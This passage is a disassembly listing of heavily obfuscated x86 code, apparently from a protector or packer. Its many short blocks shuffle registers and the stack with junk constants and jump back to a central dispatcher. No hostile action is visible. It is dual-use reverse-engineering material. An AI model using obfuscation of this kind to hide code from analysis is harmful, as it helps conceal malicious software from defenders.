		jmp	loc_57F805
; ---------------------------------------------------------------------------


loc_5852CB:				; CODE XREF: ud2_____:0058A5FDj
		sub	ebx, 20CA2205h
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_57FC94
; ---------------------------------------------------------------------------


loc_5852DA:				; CODE XREF: ud2_____:005919B5j
		add	esp, 4
		add	esp, 4
		xor	ecx, 3BE0179Ch
		jmp	loc_58E483
; ---------------------------------------------------------------------------


loc_5852EE:				; CODE XREF: ud2_____:00580796j
		pop	edi
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_58BA1A
; ---------------------------------------------------------------------------


loc_5852FD:				; CODE XREF: ud2_____:0058D57Dj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_583721
; ---------------------------------------------------------------------------


loc_585306:				; CODE XREF: ud2_____:0058A3F7j
		add	ecx, edi
		add	ecx, 5CF37BA8h
		add	ecx, 7CED7BB1h
		pop	edi
		push	eax
		mov	eax, 39634E7Eh
		jmp	loc_592B31
; ---------------------------------------------------------------------------


loc_585320:				; CODE XREF: ud2_____:005850B7j
		mov	eax, 49D27CADh
		jmp	loc_58F6B1
; ---------------------------------------------------------------------------


loc_58532A:				; CODE XREF: ud2_____:005803E7j
		push	ebx
		push	edi
		mov	edi, 69EA7E2Dh
		push	edi
		not	dword ptr [esp]
		jmp	loc_58E4D0
; ---------------------------------------------------------------------------


loc_58533A:				; CODE XREF: ud2_____:00588311j
		add	edi, 43270B97h
		xor	edi, 47CC75DBh
		push	ebx
		mov	ebx, 45012CA9h
		neg	ebx
		not	ebx
		not	ebx
		inc	ebx
		or	ebx, 62737E2Eh
		sub	ebx, 0C0DCD53Dh
		and	edi, ebx
		pop	ebx
		sub	edi, 3002003Ch
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58F08D
; ---------------------------------------------------------------------------


loc_585379:				; CODE XREF: ud2_____:00590E77j
		add	edi, ecx
		push	edx
		jmp	loc_58A425
; ---------------------------------------------------------------------------


loc_585381:				; CODE XREF: ud2_____:00585077j
		xor	edx, [esp]
		jmp	loc_5893E5
; ---------------------------------------------------------------------------


loc_585389:				; CODE XREF: ud2_____:0059164Bj
		pop	ebp
		shl	eax, 8
		shl	eax, 1
		xor	eax, 0B93A5A94h
		add	ecx, eax
		pop	eax
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 2
		jmp	loc_5887B7
; ---------------------------------------------------------------------------


loc_5853A5:				; CODE XREF: ud2_____:0058EE07j
		sub	edx, esi
		pop	esi
		push	ecx
		jmp	loc_5837FE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_590293
; ---------------------------------------------------------------------------


loc_5853B8:				; CODE XREF: ud2_____:0058E3E8j
		and	eax, 168D3934h
		jmp	loc_58CF5D
; ---------------------------------------------------------------------------


loc_5853C2:				; CODE XREF: ud2_____:00587DC1j
		mov	[esp], ebp
		mov	ebp, 5854059Bh
		jmp	loc_58A78D
; ---------------------------------------------------------------------------


loc_5853CF:				; CODE XREF: ud2_____:0057FA77j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_587F79
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	70B4h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ecx
		jmp	loc_58451A
; ---------------------------------------------------------------------------


loc_585400:				; CODE XREF: ud2_____:0058F583j
		pop	esp
		jmp	loc_591862
; ---------------------------------------------------------------------------


loc_585406:				; CODE XREF: ud2_____:0058294Cj
		xchg	eax, [esp]
		pop	esp
		and	al, dh
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		jmp	loc_591C71
; ---------------------------------------------------------------------------


loc_585432:				; CODE XREF: ud2_____:0058BDA2j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5845DC
; ---------------------------------------------------------------------------


loc_58543D:				; CODE XREF: ud2_____:0058502Fj
		push	3D26h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_58E817
; ---------------------------------------------------------------------------


loc_585454:				; CODE XREF: ud2_____:00585759j
		xchg	ecx, [esp]
		mov	esp, [esp]
		neg	eax
		shr	eax, 7
		dec	eax
		push	esi
		mov	esi, 0FF5A4F27h
		add	eax, esi
		jmp	loc_58FAC8
; ---------------------------------------------------------------------------


loc_58546D:				; CODE XREF: ud2_____:0058FF8Bj
		add	esp, 4
		jmp	loc_586514
; ---------------------------------------------------------------------------


loc_585478:				; CODE XREF: ud2_____:00589062j
		push	534Fh
		mov	[esp], ebx
		push	edi
		mov	edi, 48EA7006h
		mov	ebx, 26D94D7Eh
		jmp	loc_589013
; ---------------------------------------------------------------------------


loc_585490:				; CODE XREF: ud2_____:00588EF8j
		add	al, dh
		push	edx
		mov	dh, 7Ah
		push	ecx
		jmp	loc_590542
; ---------------------------------------------------------------------------


loc_58549B:				; CODE XREF: ud2_____:0058E321j
		push	edx
		sub	dword ptr [esp], 78336CC5h
		pop	edi
		add	edi, 78336CC5h
		pop	edx
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_588286
; ---------------------------------------------------------------------------


loc_5854BE:				; CODE XREF: ud2_____:0058EAE4j
		add	dword ptr [esp], 3201197h
		jmp	loc_582EFC
; ---------------------------------------------------------------------------


loc_5854CA:				; CODE XREF: ud2_____:0058FB9Bj
		shl	eax, 5
		inc	eax
		push	esi
		mov	esi, 0E91B82A0h
		xor	eax, esi
		pop	esi
		xor	eax, 3DE005A6h
		xor	eax, 72D7073Ah
		sub	eax, 0E8C7CCB2h
		jmp	loc_591127
; ---------------------------------------------------------------------------


loc_5854EB:				; CODE XREF: ud2_____:0057F253j
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 1B884839h
		sub	eax, 25090746h
		not	eax
		push	ebx
		push	esi
		mov	esi, 69625185h
		mov	ebx, esi
		pop	esi
		xor	ebx, 34FB3F78h
		dec	ebx
		sub	ebx, 188F603Eh
		xor	eax, ebx
		pop	ebx
		dec	eax
		xor	eax, 4C8AB1B5h
		add	edx, 25E53CFh
		add	edx, eax
		sub	edx, 25E53CFh
		pop	eax
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_59231F
; ---------------------------------------------------------------------------


loc_58554D:				; CODE XREF: ud2_____:0057EF13j
		pop	ebx
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_58C5F6
; ---------------------------------------------------------------------------


loc_585559:				; CODE XREF: ud2_____:0057F79Aj
		pop	ebp
		add	ebx, 400210DBh
		add	ebp, ebx
		pop	ebx
		push	esi
		push	edx
		mov	edx, 67A0CA9h
		shr	edx, 2
		dec	edx
		jmp	loc_57FA12
; ---------------------------------------------------------------------------


loc_585573:				; CODE XREF: ud2_____:005866C4j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 76B420A6h
		sub	ebp, eax
		push	ecx
		jmp	loc_5816AE
; ---------------------------------------------------------------------------


loc_585589:				; CODE XREF: ud2_____:005869ADj
		xor	ah, 76h
		add	bl, ah
		jmp	loc_583060
; ---------------------------------------------------------------------------


loc_585593:				; CODE XREF: ud2_____:005904C8j
		pop	ecx
		push	eax
		mov	eax, 25432F1Dh
		jmp	loc_5835F5
; ---------------------------------------------------------------------------


loc_58559F:				; CODE XREF: ud2_____:0058B448j
		pop	edx
		sub	eax, 4
		jmp	loc_58D351
; ---------------------------------------------------------------------------


loc_5855A8:				; CODE XREF: ud2_____:0058FFA7j
		mov	ah, 3Bh
		xor	ah, bl
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5828A8
; ---------------------------------------------------------------------------


loc_5855B5:				; CODE XREF: ud2_____:00581A3Bj
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 3DCA400Bh
		sub	eax, esi
		pop	esi
		sub	eax, ebx
		jmp	loc_580600
; ---------------------------------------------------------------------------


loc_5855D0:				; CODE XREF: ud2_____:005870D7j
		mov	edi, 7A6C59E0h
		add	edi, 7DB332A4h
		add	edi, 467640B8h
		dec	edi
		add	edi, 0C16A32C9h
		add	ebx, edi
		jmp	loc_58AE2B
; ---------------------------------------------------------------------------


loc_5855EF:				; CODE XREF: ud2_____:0058603Fj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 39BB2435h
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0B8CEE6A7h
		sub	esp, 4
		jmp	loc_581A25
; ---------------------------------------------------------------------------


loc_585617:				; CODE XREF: ud2_____:0058A339j
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5846C2
; ---------------------------------------------------------------------------


loc_585630:				; CODE XREF: ud2_____:00580226j
		add	ebx, 4
		add	ebx, 2
		jmp	loc_583399
; ---------------------------------------------------------------------------


loc_585641:				; CODE XREF: ud2_____:0058B30Fj
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ebx, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_588DBB
; ---------------------------------------------------------------------------


loc_58565B:				; CODE XREF: ud2_____:0058EA5Cj
		pop	eax
		jmp	loc_58241B
; ---------------------------------------------------------------------------


loc_585661:				; CODE XREF: ud2_____:0058C237j
		mov	ebx, 6B82399Dh
		xor	ebp, ebx
		pop	ebx
		push	5FB0h
		mov	[esp], esi
		mov	esi, ebp
		push	esi
		jmp	loc_584B6C
; ---------------------------------------------------------------------------


loc_585679:				; CODE XREF: ud2_____:0057E507j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58568B:				; CODE XREF: ud2_____:00584C21j
		mov	esi, 4E707EC1h
		add	ebp, esi
		jmp	loc_5878DB
; ---------------------------------------------------------------------------


loc_585697:				; CODE XREF: ud2_____:0058B6A4j
		sub	dword ptr [esp+4], 2DDC07E4h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 2DDC07E4h
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 43B63C43h
		jmp	loc_586F4F
; ---------------------------------------------------------------------------


loc_5856C0:				; CODE XREF: ud2_____:005886BAj
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ebp
		jmp	loc_58B297
; ---------------------------------------------------------------------------


loc_5856D6:				; CODE XREF: ud2_____:0058A3ECj
		mov	[esp], eax
		push	ebx
		mov	bh, dl
		mov	ah, bh
		pop	ebx
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		push	eax
		push	ebx
		jmp	loc_58AB87
; ---------------------------------------------------------------------------


loc_5856F2:				; CODE XREF: ud2_____:00580427j
		pop	esp
		mov	[esp], ebx
		push	edi
		push	6E3A014Dh
		jmp	loc_592B51
; ---------------------------------------------------------------------------


loc_585701:				; CODE XREF: ud2_____:0057EEFFj
		mov	[esp], edi
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7E537B58h
		mov	ebx, 7EA94DA0h
		xor	ebx, edx
		pop	edx
		sub	ebx, 0FA36F4h
		mov	edi, ebx
		pop	ebx
		add	ebx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5909F3
; ---------------------------------------------------------------------------


loc_585738:				; CODE XREF: ud2_____:0058D278j
		add	al, 7Eh
		add	al, ch
		sub	al, 7Eh
		pop	ecx
		add	al, 3
		push	small 6BBBh
		mov	[esp], dx
		mov	dh, 0ACh
		jmp	loc_58C117
; ---------------------------------------------------------------------------


loc_585750:				; CODE XREF: ud2_____:0058F6ECj
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_585454
; ---------------------------------------------------------------------------


loc_58575E:				; CODE XREF: ud2_____:005810F6j
		sub	esp, 4
		mov	[esp], esi
		push	4
		pop	esi
		add	ebx, esi
		jmp	loc_58F12F
; ---------------------------------------------------------------------------


loc_585774:				; CODE XREF: ud2_____:0058A9E8j
		pop	esp
		or	eax, eax
		jz	loc_583097
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2E273509h
		xor	edi, 2E27350Dh
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 4
		sub	ebp, edi
		jmp	loc_580468
; ---------------------------------------------------------------------------


loc_5857A1:				; CODE XREF: ud2_____:00590EAAj
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_587361
; ---------------------------------------------------------------------------


loc_5857B0:				; CODE XREF: ud2_____:00592C7Ej
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 403E74AEh
		xor	edi, 403E74AAh
		add	esi, 2C392E17h
		add	esi, edi
		sub	esi, 2C392E17h
		pop	edi
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_584EA4
; ---------------------------------------------------------------------------


loc_5857E1:				; CODE XREF: ud2_____:005920D3j
		add	ecx, ebx
		sub	ecx, 504A6ABAh
		pop	ebx
		sub	esp, 4
		jmp	loc_580C2B
; ---------------------------------------------------------------------------


loc_5857F5:				; CODE XREF: ud2_____:00586F24j
		mov	[esp], edi
		jmp	loc_586468
; ---------------------------------------------------------------------------


loc_5857FD:				; CODE XREF: ud2_____:0058D564j
		add	dword ptr [esp], 235B76C7h
		pop	eax
		push	edx
		mov	edx, 235B76C7h
		sub	eax, edx
		pop	edx
		jmp	loc_589D9D
; ---------------------------------------------------------------------------


loc_585813:				; CODE XREF: ud2_____:00581BAEj
		add	eax, esi
		pop	esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_5838E4
; ---------------------------------------------------------------------------


loc_585824:				; CODE XREF: ud2_____:00582A06j
		add	esi, 40C30AE5h
		push	ebx
		jmp	loc_59080B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0E1Dh
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	57B3h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	eax, 4
		push	56DAh
		mov	[esp], edx
		push	2
		pop	edx
		push	1E0Eh
		mov	[esp], ecx
		mov	ecx, 15BA49F1h
		shl	ecx, 7
		add	ecx, 0FFFFFFFFh
		sub	ecx, 0C1E7D2EFh
		jmp	loc_57E385
; ---------------------------------------------------------------------------


loc_585896:				; CODE XREF: ud2_____:005805DFj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58E690
; ---------------------------------------------------------------------------


loc_5858AA:				; CODE XREF: ud2_____:00588B70j
		pop	edi
		add	[esp+8], esi
		pop	esi
		jmp	loc_58722E
; ---------------------------------------------------------------------------


loc_5858B5:				; CODE XREF: ud2_____:0058EDBCj
		push	edi
		jmp	loc_58CB3D
; ---------------------------------------------------------------------------


loc_5858BB:				; CODE XREF: ud2_____:00581049j
		xor	eax, 2B386A86h
		sub	eax, 3F4F1182h
		add	ebx, eax
		pop	eax
		jmp	loc_58A494
; ---------------------------------------------------------------------------


loc_5858CD:				; CODE XREF: ud2_____:0058D8DFj
		pop	edi
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5858E5:				; CODE XREF: ud2_____:00585A74j
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5858EE:				; CODE XREF: ud2_____:005895CFj
		or	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_582AFF
; ---------------------------------------------------------------------------


loc_5858FB:				; CODE XREF: ud2_____:0058A5EAj
		sub	ebp, 46C608Fh
		shl	ebp, 3
		sub	ebp, 0AED77C7h
		add	ebp, 27D33D76h
		jmp	loc_584637
; ---------------------------------------------------------------------------


loc_585915:				; CODE XREF: ud2_____:00591FB6j
		not	ecx
		sub	ecx, 0A684FE7h
		shr	ecx, 6
		or	ecx, 1E8B323Bh
		sub	ecx, 0FB25784h
		jmp	loc_58969A
; ---------------------------------------------------------------------------


loc_585931:				; CODE XREF: ud2_____:0058C2C5j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_580CA1
; ---------------------------------------------------------------------------


loc_585942:				; CODE XREF: ud2_____:005837BCj
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_583E4F
; ---------------------------------------------------------------------------


loc_585954:				; CODE XREF: ud2_____:0058BC49j
		push	dword ptr [esp+4]
		jmp	loc_583D3F
; ---------------------------------------------------------------------------


loc_58595D:				; CODE XREF: ud2_____:00583154j
		mov	ecx, 61A0204Ch
		add	ecx, 0E06980FFh
		sub	eax, ecx
		pop	ecx
		jmp	loc_589ECB
; ---------------------------------------------------------------------------


loc_585970:				; CODE XREF: ud2_____:0058B831j
		sub	eax, 0ADC7DD96h
		sub	edx, eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_5928E4
; ---------------------------------------------------------------------------


loc_58598B:				; CODE XREF: ud2_____:0057F29Dj
		mov	esp, [esp]
		push	esi
		jmp	loc_58265A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_592294
; ---------------------------------------------------------------------------


loc_5859A9:				; CODE XREF: ud2_____:0057FFB7j
		not	ch
		xchg	ch, bh
		and	bh, 0A0h
		sub	bh, 77h
		xor	al, bh
		mov	ebx, [esp]
		push	1684h
		mov	[esp], ebp
		mov	ebp, esp
		push	214Dh
		mov	[esp], edx
		jmp	loc_58A501
; ---------------------------------------------------------------------------


loc_5859CF:				; CODE XREF: ud2_____:0057EA88j
		neg	ebp
		xor	ebp, 0CEA1DDF6h
		jmp	loc_58D0F3
; ---------------------------------------------------------------------------


loc_5859DC:				; CODE XREF: ud2_____:00588F15j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57FD62
; ---------------------------------------------------------------------------


loc_5859E7:				; CODE XREF: ud2_____:00589F04j
		sub	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5865A6
; ---------------------------------------------------------------------------


loc_585A02:				; CODE XREF: ud2_____:0058E289j
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_585A0E:				; CODE XREF: ud2_____:0058A3ABj
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_587289
; ---------------------------------------------------------------------------


loc_585A19:				; CODE XREF: ud2_____:0058E159j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58C8F1
; ---------------------------------------------------------------------------


loc_585A27:				; CODE XREF: ud2_____:0057EDB2j
		mov	al, 31h
		jmp	loc_58AEB5
; ---------------------------------------------------------------------------


loc_585A2E:				; CODE XREF: ud2_____:005908D6j
		push	edx
		jmp	loc_58EAC3
; ---------------------------------------------------------------------------


loc_585A34:				; CODE XREF: ud2_____:00582BC5j
		mov	ch, dl
		jmp	loc_57F27D
; ---------------------------------------------------------------------------


loc_585A3B:				; CODE XREF: ud2_____:00586270j
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_592F2D
; ---------------------------------------------------------------------------


loc_585A51:				; CODE XREF: ud2_____:00584DA4j
		add	dh, 32h
		mov	ebx, [esp]
		jmp	loc_580B84
; ---------------------------------------------------------------------------


loc_585A5C:				; CODE XREF: ud2_____:005840ACj
		push	edx
		mov	edx, 579A28CCh
		inc	edx
		jmp	loc_583588
; ---------------------------------------------------------------------------


loc_585A68:				; CODE XREF: ud2_____:0058BC9Ej
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5858E5
; ---------------------------------------------------------------------------


loc_585A79:				; CODE XREF: ud2_____:00590113j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_58FD15
; ---------------------------------------------------------------------------


loc_585AA2:				; CODE XREF: ud2_____:00587B9Aj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 19651460h
		sub	ebx, 603F072Bh
		jmp	loc_585B42
; ---------------------------------------------------------------------------


loc_585ABA:				; CODE XREF: ud2_____:005814A5j
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_58CA14
; ---------------------------------------------------------------------------


loc_585AC6:				; CODE XREF: ud2_____:00591D26j
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	25F0h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 620F5643h
		add	ebx, 0B58FDBAEh
		mov	ecx, ebx
		pop	ebx
		add	eax, ecx
		jmp	loc_58001A
; ---------------------------------------------------------------------------


loc_585AEB:				; CODE XREF: ud2_____:005915BFj
		add	edx, 736B4242h
		xor	edx, 146A77B7h
		shl	edx, 5
		add	edx, 0E3B2C704h
		add	ecx, edx
		jmp	loc_5884D2
; ---------------------------------------------------------------------------


loc_585B07:				; CODE XREF: ud2_____:0058A3E2j
		or	ebp, 4D6B75D2h
		jmp	loc_590A61
; ---------------------------------------------------------------------------


loc_585B12:				; CODE XREF: ud2_____:00589C26j
		mov	[esp], eax
		push	28C67B57h
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5918E7
; ---------------------------------------------------------------------------


loc_585B2B:				; CODE XREF: ud2_____:00585F94j
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		jmp	loc_5864C6
; ---------------------------------------------------------------------------


loc_585B3B:				; CODE XREF: ud2_____:0058012Dj
		pop	esi
		pop	edx
		jmp	loc_58CF00
; ---------------------------------------------------------------------------


loc_585B42:				; CODE XREF: ud2_____:00585AB5j
		xor	ebx, 12E37935h
		sub	ebx, 0ABC573FCh
		add	eax, ebx
		jmp	loc_589112
; ---------------------------------------------------------------------------


loc_585B55:				; CODE XREF: ud2_____:0058B464j
		add	ebp, 4BEF793Bh
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_59270A
; ---------------------------------------------------------------------------


loc_585B66:				; CODE XREF: ud2_____:00589D98j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_57FD6D
; ---------------------------------------------------------------------------


loc_585B7A:				; CODE XREF: ud2_____:00583A7Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6D297F3Eh
		jmp	loc_58EB19
; ---------------------------------------------------------------------------


loc_585B97:				; CODE XREF: ud2_____:00589DE9j
		push	esp
		pop	eax
		push	edi
		jmp	loc_58CF13
; ---------------------------------------------------------------------------


loc_585B9F:				; CODE XREF: ud2_____:005822E9j
		add	esi, 410527E6h
		pop	ebx
		and	ecx, esi
		mov	esi, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58071E
; ---------------------------------------------------------------------------


loc_585BC9:				; CODE XREF: ud2_____:00581160j
		add	edi, 0F6898FDBh
		mov	esi, edi
		pop	edi
		jmp	loc_587BBA
; ---------------------------------------------------------------------------


loc_585BD7:				; CODE XREF: ud2_____:005921C4j
		shl	edi, 4
		add	edi, 3C1168Fh
		push	esi
		mov	esi, 0EBABC936h
		sub	edi, 680F4310h
		jmp	loc_57F8A1
; ---------------------------------------------------------------------------


loc_585BF1:				; CODE XREF: ud2_____:005877FBj
		pop	ebp
		jmp	loc_58E782
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, 0AE56A64h
		not	edx
		or	edx, 3DBC3EC7h
		dec	edx
		xor	edx, 9316ED36h
		sub	ecx, edx
		pop	edx
		add	ecx, ebp
		add	ecx, 6EA852E8h
		pop	ebp
		push	450Bh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	4F8Bh
		mov	[esp], esi
		jmp	loc_58A584
; ---------------------------------------------------------------------------


loc_585C42:				; CODE XREF: ud2_____:005898C0j
		sub	esi, 9A0EDBB6h
		push	edx
		jmp	loc_57E6E0
; ---------------------------------------------------------------------------


loc_585C4E:				; CODE XREF: ud2_____:00590504j
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, eax
		mov	ebx, esi
		pop	esi
		jmp	loc_57E45D
; ---------------------------------------------------------------------------


loc_585C62:				; CODE XREF: ud2_____:0058D470j
		push	ecx
		mov	cl, 0F0h
		jmp	loc_588AAA
; ---------------------------------------------------------------------------


loc_585C6A:				; CODE XREF: ud2_____:00588B30j
		add	esi, 0BC0DE82Fh
		shl	esi, 7
		sub	esi, 725908FBh
		xor	esi, 39093066h
		not	esi
		xor	esi, 74B074F6h
		push	5EF9h
		mov	[esp], eax
		push	ecx
		mov	ecx, 7EAA04BAh
		neg	ecx
		neg	ecx
		push	0
		sub	[esp], ecx
		jmp	loc_58616C
; ---------------------------------------------------------------------------


loc_585CA6:				; CODE XREF: ud2_____:00581C17j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58F616
; ---------------------------------------------------------------------------


loc_585CAF:				; CODE XREF: ud2_____:00589CA1j
		pop	eax
		add	ebx, 4
		jmp	loc_581DCF
; ---------------------------------------------------------------------------


loc_585CB8:				; CODE XREF: ud2_____:00582B10j
		pop	ecx
		add	eax, 3CEF4B6Bh
		sub	eax, 0FFFFFFFFh
		jmp	loc_57FDD9
; ---------------------------------------------------------------------------


loc_585CC6:				; CODE XREF: ud2_____:0058AC53j
		push	edx
		pop	ecx
		mov	edx, [esp]
		push	3BBEh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58CFB4
; ---------------------------------------------------------------------------


loc_585CF1:				; CODE XREF: ud2_____:0058D00Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6DB45136h
		add	[esp+4], ebp
		pop	ebp
		pop	edi
		add	edi, 3DD9939Dh
		add	ebx, 753D5C58h
		sub	ebx, edi
		push	edi
		jmp	loc_57F938
; ---------------------------------------------------------------------------


loc_585D23:				; CODE XREF: ud2_____:0057E7F9j
		push	edx
		mov	edx, esp
		jmp	loc_5809EC
; ---------------------------------------------------------------------------


loc_585D2B:				; CODE XREF: ud2_____:00589F68j
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_5890F0
; ---------------------------------------------------------------------------


loc_585D35:				; CODE XREF: ud2_____:0058A394j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	4ADFh
		mov	[esp], ebx
		jmp	loc_58AE14
; ---------------------------------------------------------------------------


loc_585D52:				; CODE XREF: ud2_____:0058B095j
		add	ecx, 4
		jmp	loc_57FE70
; ---------------------------------------------------------------------------


loc_585D5D:				; CODE XREF: ud2_____:0058ACF7j
		add	ebp, ebx
		add	ebp, 6A0B1FC8h
		sub	ebp, 38ED3BCDh
		mov	ebx, [esp]
		push	11F3h
		jmp	loc_586428
; ---------------------------------------------------------------------------


loc_585D78:				; CODE XREF: ud2_____:00586BD8j
		add	ecx, 189102C5h
		add	ecx, edx
		jmp	loc_58D4BD
; ---------------------------------------------------------------------------


loc_585D85:				; CODE XREF: ud2_____:00586A48j
		pop	esi
		jmp	loc_5837BB
; ---------------------------------------------------------------------------


loc_585D8B:				; CODE XREF: ud2_____:0058E39Dj
		pop	ebp
		push	31BBh
		jmp	loc_58BB0E
; ---------------------------------------------------------------------------


loc_585D96:				; CODE XREF: ud2_____:0058FDFFj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58F87C
; ---------------------------------------------------------------------------


loc_585DA4:				; CODE XREF: ud2_____:005898CFj
		xor	edi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5833BE
; ---------------------------------------------------------------------------


loc_585DAF:				; CODE XREF: ud2_____:0058268Aj
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_591348
; ---------------------------------------------------------------------------


loc_585DBE:				; CODE XREF: ud2_____:0057EA1Ej
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
